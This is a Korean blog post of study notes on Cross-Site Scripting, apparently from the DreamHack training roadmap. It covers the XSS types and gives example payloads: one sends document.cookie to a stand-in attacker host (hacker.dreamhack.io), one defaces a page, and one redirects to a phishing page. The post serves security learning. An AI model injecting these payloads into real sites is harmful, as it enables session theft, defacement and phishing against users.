CIDY
[Web_Hacking] stage4_Cross-Site-Scripting(XSS) 본문
*XSS
클라이언트 사이드 취약점 중 하나. 공격자가 웹 리소스에 악성 스크립트를 넣어 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있음. -> 이용자의 쿠키/세션 탈취 가능 -> SOP때문에 다른 오리진에서 데이터를 읽는 게 힘들어짐 -> 그래도 항상 우회법이 있더라
XSS공격은 이용자가 삽입 내용을 출력하는 부분에서 발생한다. (게시물이나 댓글, 로그인 시 출력문구 등)
HTTP형식으로 웹 서버에 리소스 요청 후 서버로부터 받은 웹 리소스(HTML, CSS, JS 등)를 시작화하는 과정에서 변조된 페이지를 보거나, 스크립트가 실행될 수 있다.
->Stored XSS : 악성 스크립트가 서버에 저장/서버의 응답에 담겨옴
-> Reflected XSS : 악성 스크립트가 URL에 삽입/서버의 응답에 담겨옴
-> DOM-based XSS : 악성 스크립트가 URL Fragment에 삽입(Fragment는 서버 요청 및 응답에 포한되지 않음)
-> Universal XSS : 클라이언트의 브라우저나 브라우저의 플러그인에서 발생하는 취약점(SOP우회)
위와 같이 스크립트를 삽입할 수 있다.
자바스크립트는 웹 문서의 동작을 정의하므로 공격자는 이를 이용해 이용자에게 보여지는 웹페이지를 조작하거나, 웹 브라우저의 위치를 임의 주소로 변경할 수 있다.
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
쿠키/세션 탈취 공격 코드 예시↑
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
페이지 변조 공격 코드 예시↑
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
위치 이동 공격 코드 예시↑
*Stored XSS
서버의 데이터베이스/파일 형태로 저장된 악성 스크립트를 조회할 때 발생하는 XSS이다. 위에서 봤던 것 처럼 게시물/댓글에 악성 스크립트를 포함해 업로드하는 방식을 이용할 수 있는데, 불특정 다수에게 보여지는 게시글의 특성상 해당 XSS취약점이 존재할 경우 파급력이 높다.
*Reflected XSS
서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 검색창에서 스크립트를 포함해 검색하는 방법이 대표적인데, 이용자가 게시물을 검색하면 서버는 검색 결과를 이용자에게 반환한다. -> 검색 결과를 응답에 포함하기도 하는데, 이때 악성 스크립트가 포함되어 있다면 해당 XSS가 발생할 수 있다.
악성 스크립트를 URL에 삽입하는 방식이므로, 이용자가 악성 스크립트를 포함한 링크로 접속하도록 유도해야 한다. -> 직접 전달하는 방법은 눈치채기 쉬우므로 -> Click Jacking, Open Redirect와 같은 다른 취약점과 함께 이용한다.
<script>document.write("Hacked By DreamHack !");</script> 를 위와 같이 서치해주면
페이지가 이렇게 된다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] stage4_문제풀이(xss-2) (0) | 2022.07.28 |
---|---|
[Web_Hacking] stage4_문제풀이(xss-1) (0) | 2022.07.28 |
[Web_Hacking] stage3_Same Origin Policy(SOP) (0) | 2022.07.27 |
[Web_Hacking] stage3_문제풀이(cookie) (0) | 2022.07.27 |
[Web_Hacking] stage3_문제풀이(session-basic) (0) | 2022.07.27 |